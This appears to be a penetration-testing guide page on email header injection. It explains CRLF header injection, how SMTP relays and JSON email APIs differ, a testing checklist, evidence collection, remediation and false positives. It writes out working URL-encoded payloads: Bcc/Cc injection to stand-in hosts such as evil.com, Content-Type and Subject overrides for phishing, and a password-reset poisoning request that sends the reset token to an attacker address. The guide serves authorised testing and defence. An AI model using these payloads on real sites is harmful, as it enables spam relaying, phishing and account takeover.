6 min read

Exploitation A05 secondary: A08, A10

Email Header Injection

Email header injection occurs when user input is included in email headers (To, CC, BCC, Subject) without sanitization. Attackers inject CRLF sequences to add extra headers, turning the application into a spam relay or phishing platform. This commonly affects contact forms, password reset functions, and "share via email" features.

Frameworks: WSTG-INPV-10 · ASVS 5.0 V1.3.11 · CWE-93, CWE-150 · T1190

How the Injection Lands

An email is a header block, a blank line, then a body. Every header ends at CRLF, so a newline inside a value does not extend that value — it starts a new header. Any field that reaches a header without a CR/LF check is therefore a header-write primitive: To, From, Subject, Reply-To, and the display name beside an address.

The precondition is narrow: the application must build the header block from user input, or hand a value to a library that concatenates it. If the address is inserted as a parameterised field, a newline is just a character in a display name. Determine which you are looking at first — it decides whether this is a vulnerability or a rejected input.

Relay vs API: Where the Newline Stops Mattering

SMTP is a line-oriented protocol. A relay parses the message it is handed and derives the envelope (RCPT TO) from the To, Cc and Bcc headers. Inject a header there and the injected address becomes a real recipient, which is how a contact form becomes a spam relay.

An HTTP email API is different: the envelope is a JSON field (to, cc, bcc) separate from the body, so a CRLF inside a display name is data and cannot add a recipient. The exception is an API that accepts a raw MIME document — SES SendRawEmail, SendGrid's raw endpoint — because that hands the header block back to the same parser. Find out which shape the application uses: it decides whether the impact is "arbitrary recipient" or nothing.

Basic Email Header Injection

Try the encoded variants in order: %0d%0a is the canonical CRLF, %0a alone is accepted by many MTAs, %0d alone by a few. Watch the resulting message, not the HTTP response — a 200 from the form proves only that the request was accepted. A positive is the injected Bcc in the raw message you receive; a benign result is the address rejected or encoded.

email-header-injection.txt
# Vulnerable code: user input goes into email headers
# PHP: mail($to, $subject, $message, "From: " . $_POST['email']);

# Inject CC/BCC recipients:
email=test@example.com%0aCc:victim1@target.com%0aBcc:victim2@target.com

# URL-encoded CRLF variants:
%0d%0a    # \r\n (CRLF)
%0a       # \n (LF only — works on many MTAs)
%0d       # \r (CR only)
%0A%0D    # Reversed

# Inject via contact form "From" field:
Name: Attacker
Email: attacker@test.com%0aBcc:spam-list@evil.com
Message: Test

# The resulting email headers become:
# From: attacker@test.com
# Bcc: spam-list@evil.com
# Subject: Contact Form Submission

Advanced Attacks

Content-Type and Subject are the higher-impact targets: the first turns a plain-text notification into attacker HTML, the second is what the recipient reads, so a spoofed subject is the phishing primitive. Password-reset poisoning is the case to test carefully — if the reset mail is built with the victim's address in a header you control, a Bcc delivers the token to you. Only test that against a mailbox you own.

email-header-advanced.txt
# Inject arbitrary email body content:
email=test@example.com%0aContent-Type:text/html%0a%0a<h1>Phishing Content</h1>

# Override the Subject header:
email=test@example.com%0aSubject:URGENT - Password Reset Required

# Inject Reply-To for phishing:
email=test@example.com%0aReply-To:attacker@evil.com

# Multiple recipient injection (spam relay):
email=test@example.com%0aBcc:user1@target.com%0aBcc:user2@target.com%0aBcc:user3@target.com

# Password reset poisoning:
# If the app sends password reset emails with user-controlled content:
POST /forgot-password
email=victim@target.com%0aBcc:attacker@evil.com
# Attacker receives a copy of the reset email with the token!

Why Frameworks Reject Rather Than Strip

Modern libraries reject, and that is correct. Python's email API raises ValueError when a header value contains CR or LF, Jakarta Mail's InternetAddress throws AddressException, and PHPMailer validates and refuses. Stripping would silently change the address — victim@example.com plus an injected line collapses into one invalid string — and hide the bug instead of surfacing it. PHP's mail() is the outlier: it neither validates nor encodes, and passes the additional-headers argument to the local MTA.

Verifying Delivery

Verification is a delivery test, not a response test. Send to a mailbox you control, read the raw source ("Show original" in Gmail) and look for the injected header lines above the blank line. A message that arrives with your Bcc in the header block is proof; one where the payload was folded into the display name is a negative.

Testing Checklist

  • ☐ 1. Identify all email-sending features (contact forms, sharing, invitations, password reset)
  • ☐ 2. Test CRLF injection in email fields (%0a, %0d%0a appended to input)
  • ☐ 3. Try injecting Cc: and Bcc: headers to send to attacker-controlled email
  • ☐ 4. Test Subject header injection
  • ☐ 5. Test Content-Type injection to alter the email body
  • ☐ 6. Check if the application validates email format server-side
  • ☐ 7. Identify the send path first: SMTP relay, JSON email API, or raw-MIME endpoint. Only the first and third parse headers
  • ☐ 8. Read the delivered message source, not the HTTP response, before calling the injection successful

Evidence Collection

Request: HTTP request with CRLF-injected email parameter

Email Headers: Received email showing injected headers (Cc/Bcc)

Raw Source: Full message source from a mailbox you control, showing the injected lines above the body separator

Send Path: Whether the application uses an SMTP relay, a JSON email API, or a raw-MIME endpoint — this determines whether a newline is structural

CVSS Range: Spam relay: 5.3–6.5 | Phishing: 6.5–7.5 | Token theft: 7.5–8.6

Remediation

  • • Strip CRLF characters: Remove \\r and \\n from all user input used in email headers.
  • • Use email libraries: Use libraries like PHPMailer, Nodemailer, or Python's email module instead of raw header construction.
  • • Validate email format: Validate email addresses server-side with strict regex.
  • • Rate limit: Rate limit email-sending functionality to prevent abuse as spam relay.
  • • Reject, don't repair: Fail the request when a header value contains CR or LF rather than silently removing it — silent repair turns an injection attempt into an unlogged malformed address.
  • • Build the message from structure: Set headers through the library's typed API (address objects, encoded display names) so no user string is ever concatenated into the header block.

False Positive Identification

  • CRLF stripped at the library level: Many mail libraries sanitize header injections — confirm the injected headers actually appear in the received email, not just accepted in the form.
  • Bcc without sensitive content: Adding a Bcc recipient is only impactful if the email contains sensitive data (password resets, PII, tokens) — assess the email content in your severity rating.
  • SPF/DKIM blocking spoofed From: Email infrastructure may reject the modified From header — check if the email actually delivers.
  • JSON API envelope: If the send path passes <code>to</code>/<code>cc</code>/<code>bcc</code> as separate JSON fields, a newline in a display name cannot add a recipient. That is a negative result, not a mitigated vulnerability.
  • Raw-MIME endpoint beside the JSON one: The same provider often exposes both. An API that accepts a raw MIME document reopens the header parser even when the structured endpoint is safe — test the path the application actually calls.